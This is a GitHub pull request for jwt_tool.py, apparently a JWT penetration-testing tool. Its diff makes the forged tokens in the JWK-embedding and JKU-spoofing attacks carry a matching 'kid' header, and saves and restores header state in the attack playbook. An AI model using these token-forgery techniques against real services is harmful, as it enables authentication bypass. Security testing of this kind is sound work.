Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

During JWK and JKU injection, set kid header to match JWK kid so that the key is used #78

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
14 changes: 14 additions & 0 deletions jwt_tool.py
Original file line number Diff line number Diff line change
Expand Up @@ -739,6 +739,7 @@ def jwksGen(headDict, paylDict, jku, privKey, kid="jwt_tool"):
newjwks = buildJWKS(n, e, kid)
newHead["jku"] = jku
newHead["alg"] = "RS256"
newHead["kid"] = config["customising"]["jwks_kid"]
key = RSA.importKey(privKey)
newContents = genContents(newHead, paylDict)
newContents = newContents.encode('UTF-8')
Expand Down Expand Up @@ -771,6 +772,7 @@ def jwksEmbed(newheadDict, newpaylDict):
newjwks = buildJWKS(n, e, "jwt_tool")
newHead["jwk"] = newjwks
newHead["alg"] = "RS256"
newHead["kid"] = newjwks["kid"]
key = privKey
# key = RSA.importKey(privKey)
newContents = genContents(newHead, newpaylDict)
Expand Down Expand Up @@ -1369,6 +1371,10 @@ def injectOut(newheadDict, newpaylDict):
def scanModePlaybook():
cprintc("\nLAUNCHING SCAN: JWT Attack Playbook", "magenta")
origalg = headDict["alg"]
try:
origkid = headDict["kid"]
except:
origkid = False
# No token
tmpCookies = config['argvals']['cookies']
tmpHeader = config['argvals']['header']
Expand Down Expand Up @@ -1418,6 +1424,10 @@ def scanModePlaybook():
jwksig, jwksContents = jwksEmbed(headDict, paylDict)
jwtOut(jwksContents+"."+jwksig, "Exploit: Injected JWKS (-X i)")
headDict["alg"] = origalg
if origkid:
headDict["kid"] = origkid
else:
del headDict["kid"]
if origjwk:
headDict["jwk"] = origjwk
else:
Expand All @@ -1430,6 +1440,10 @@ def scanModePlaybook():
jku = config['services']['jwksloc']
newContents, newSig = exportJWKS(jku)
jwtOut(newContents+"."+newSig, "Exploit: Spoof JWKS (-X s)", "Signed with JWKS at "+config['services']['jwksloc'])
if origkid:
headDict["kid"] = origkid
else:
del headDict["kid"]
if origjku:
headDict["jku"] = origjku
else:
Expand Down